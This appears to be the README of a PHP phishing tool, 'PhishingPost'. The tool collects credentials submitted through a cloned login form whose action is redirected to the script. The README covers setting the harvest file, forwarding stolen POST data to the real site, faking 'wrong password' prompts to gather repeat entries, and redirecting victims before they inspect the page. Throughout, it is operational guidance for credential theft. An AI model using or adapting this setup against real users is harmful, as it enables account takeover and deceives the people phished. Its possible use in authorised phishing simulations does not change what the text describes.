PhishingPost

PHP Script intdended to be used during Phishing campaigns as a credentials collector linked to backdoored HTML <form> action parameter. Originally this script had been developed in the following gist.

Configuration

Firstly, one has to apply this script in backdoored form's action parameter, for instance like so:

<form [...] action="/post.php" [...]>

Then, this script shall be named as post.php to get it working.

Most important configuration parameters to set:

$harvest_filename Filename for harvested data. For CSV logging method, the .csv extension will be appended. Remember to keep the filename not guessable, to avoid forceful browsing against your own phishing box!
$post_url This is target URL used for posting form (form's action attribute value).
$resend_post_data Resend post data to the $post_url address? If set to false, the user will be simply redirected to the $redirect address or if it's empty to the $post_url address.
$wrong_password_url URL for "wrong password" message redirection (applicable only if $password_retry is set to more than 1). You can use here something like:
```
'/login.html?wrong_pass=1' . (isset($_GET['redir']) ? '&redir=' . $_GET['redir'] : '');
```
Having a login.html as your phish login form saved to the HTML file, one can make the HTML file know that it must display the 'wrong password' error message and also to let the the backend script (this very file) know where to redirect user after couple of login tries ($password_retry)

Notice: If left empty - the page will be simply reloaded.
$redirect Target address to redirect victim to after collecting his input data, in case of an error or when $resend_post_data = false. In other words, if we don't want to transmit data to the target (or we are unable to do so) this variable states where to redirect user after grabbing his POST data.

Notice: You can dynamically overwrite this variable by using $_GET['redir'] If You leave this empty (default), script will use $post_url value

One can also specify something like this in his action parameter value:

<form [...] action="/post.php?redir=https://TARGET.SITE/<?php echo $_SERVER['REQUEST_URI'];?>">

To make the PHP construct GET redir parameter denoting where to move the user after he has submitted his credentials (not to confuse with where to POST credentials after logging them).

Then this script could be configured as follows:

$post_url = "https://TARGET.SITE/LOGIN-FORM-ACTION";

The POST data collected from the phished form will then be transmited to the LOGIN-FORM-ACTION, whereas the $redirect will take the value of $_GET['redir'] and move the user to the same page as he came from upon some error or after stealing data and deciding not to transmit them along ($resend_post_data = false). This $_GET['redir'] way is an example of creating redirection address in a dynamic manner.

When crafting HTML login page, one can use the PHP session variable:

$_SESSION['phished_already']

to add forced redirection to the target site in his HTML files through the inline PHP code.

How it works?

Having phished for instance login form of the target website, this login form will have it's action attribute changed to direct into this very script. Then, the script will collect the $_POST data and store them in file (in a print_r format, csv list or both, depending on setting $log_format). This script also takes care of issuing the warning message of having typed wrong password (or rather of redirecting the user onto file capable of displaying such message, via $wrong_password_url variable). Then, the script keeps wrong passwords typed numer in a session variable to detect whether specific user has been phished already and he should be redirected to the target site immediately (in order to prevent him looking at the webpage and inspecing it).
